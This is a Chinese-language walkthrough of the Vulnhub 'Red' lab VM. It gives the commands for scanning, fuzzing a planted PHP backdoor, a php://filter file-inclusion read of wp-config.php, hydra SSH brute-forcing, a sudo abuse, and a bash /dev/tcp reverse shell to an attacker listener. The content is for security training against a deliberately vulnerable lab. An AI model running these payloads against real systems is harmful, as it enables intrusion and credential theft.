Vulnhub red靶机渗透攻略详解
一、安装靶机
靶机下载地址:https://download.vulnhub.com/red/Red.ova
下载完成使用VM打开即可,如果出现弹窗ova有问题点击重试稍等就可以安装成功。
二、主机发现
查看靶机网络连接方式所处网段。右击靶机找见设置查看靶机的网络连接方式,查看VM虚拟接网络设置,改为NET模式网段。我们给他确定在一个网段内即可。
接下来就可以使用工具进行主机扫描了,如果使用其他的虚拟机记得要处于同一网络连接方式。这里使用的是kali的nmap扫描的。直接扫描是扫描不出来的,可能是虚拟机的网卡配置存在问题。
nmap -O 192.168.29.1/24
修改虚拟机网卡接口配置,在刚刚启动虚拟机的时候按住shift键,出现类似下图界面。
按e键进入修改界面找到 ro ******** 这一部分,可能有所差异,如果ro后面有字符 则直接在后面添加 rw single init=/bin/bash 如果没有字符则直接将ro改为 rw single init=/bin/bash。
rw single init=/bin/bash
修改完后 Ctrl + X 进入bash shell 界面,输入ip a 查看网卡ens33。
ip a
修改网络配置文件 /etc/network/interfaces 文件(没有的话去/etc/netplan目录下的yaml文件),如果/输不出来就一级级目录跳转。将里面的内容修改为下图所示。然后重启虚拟机。
vi /etc/network/interfaces
这时候再去扫描,可以找到我们靶机的地址:192.168.29.132
nmap -O 192.168.29.1/24
三、端口扫描
使用nmap详细扫描全部端口,可以看到开放了22、80端口,都访问一下。
nmap -A -p- -T4 192.168.29.132
四、目录探测
使用我们kali对目标靶机进行目录探测,
gobuster dir -u http://192.168.29.132/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
出现下述问题别慌,是可以解决的
cd /usr/share/wordlists/dirbuster apt-get updateapt install gobuster
安装完后,继续执行咱们的代码。
再访问一下robots.txt,看看有什么内容。给出了一个新的网址域名。
五、web信息收集
通过目录探测我们找到了很多目录,先访问一下我们的网站,可以看到这个网站应该是以前被黑客打过并且还留下来了后门。
在我们点击其他功能的时候出现了其他域名,并且告诉我们没有找不到网站,观察URL,这里面的网址和我们访问robots的时候给我们的网址是一样的,所以我们还需要更改我们的配置文件,这样我们才能够跳转到相应界面。
因为我们是在Windows上访问我们的网站所以更改的是Windows的配置文件hosts,没有权限按下列步骤更改权限
更改完权限后执行下列代码。
C:\Windows\System32\drivers\etc\hosts //配置文件地址192.168.29.129 earth.local terratest.earth.local //把这个写入到hosts文件ipconfig /flushdns //更新配置 Windows中cmd执行
在此访问就可以正常访问了,按照渗透过程慢慢来,查看页面源代码发现在http://redrocks.win/2021/10/24/hello-world/的源代码中存在注释。
注释叫我们去找一个Mr. Miessler的人寻求帮助,去谷歌找他,毕竟不是国内人。
根据它的提示需要我们下载seclists,我们可以明显的看到靶机所用为WordPress,是在php运行的猜测可能是php的后门,所以用 seclists里的 CommonBackdoors-PHP.fuzz.txt 扫描。
使用dirserach进行扫描,使用我们刚刚下载的字典。使用前先最好是先查找一下字典所在位置,以免路径错误。
find / -name "CommonBackdoors-PHP.fuzz.txt"
gobuster dir -u http://redrocks.win/ -w /usr/share/seclists/Discovery/Web-Content/Programming-Language-Specific/CommonBackdoors-PHP.fuzz.txt
扫描结束我们可以看到是有一个500状态码的一个目录,猜测可能会有参数指定,或许为文件包含漏洞。使用wfuzz测试。建议把key参数往前挪一挪,要不后面容易超时。
wfuzz -c -u 'http://redrocks.win/NetworkFileManagerPHP.php?FUZZ=test' -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
根据扫描结果可以知道那个参数为key。访问一下可以确定是这个参数。
刚刚猜测是文件包含漏洞,所以我们查看一下里面的文件例如:/etc/passwd
六、漏洞利用、反弹shell
可以确定是文件包含漏洞,利用php伪协议看一下页面源代码,里面是base64编码,解码后可以看见源代码。
http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/read=convert.base64-encode/resource=NetworkFileManagerPHP.php
没有什么有用信息,因为使用的是WordPress,所以查找其配置文件,解码后看看有什么有用信息。
http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/read=convert.base64-encode/resource=wp-config.php
在该文件配置里面我们可以看见有一组用户,密码凭证为'R3v_m4lwh3r3_k1nG!!',我们使用hashcat重新生成一个密码字典,并且还得使用base64规则,毕竟这么多东西都是使用的base64。
echo "R3v_m4lwh3r3_k1nG\!\!" > pass.txt
hashcat --stdout pass.txt -r /usr/share/hashcat/rules/best64.rule > passlist.txt
如果出现 Device #1: Not enough allocatable device memory for this attack.错误可以增加虚拟机设置内存,改为4GB即可(虚拟机关机修改后重启)。
以下就是我们生成的密码。
根据生成的密码进行爆破,可以得到ssh的密码。
hydra -l john -P passlist.txt ssh://192.168.29.132
进行ssh连接,成功建立ssh连接。(一会就会被踢出来,所以要不停的进行重新登录)
ssh john@192.168.29.132
密码就是爆出来的密码
查看权限和可执行命令(为了下一步建立长久交互准备),ippsec可以执行time命令。
whoami
sudo -l //查看可执行命令
切换到ippsec用户进行反弹shell。
nc -lvvp 4444 //4444监听端口
sudo -u ippsec /usr/bin/time /bin/bash
bash -i >& /dev/tcp/192.168.241.128/4444 0>&1
获得长久的交互点,后续进行提权。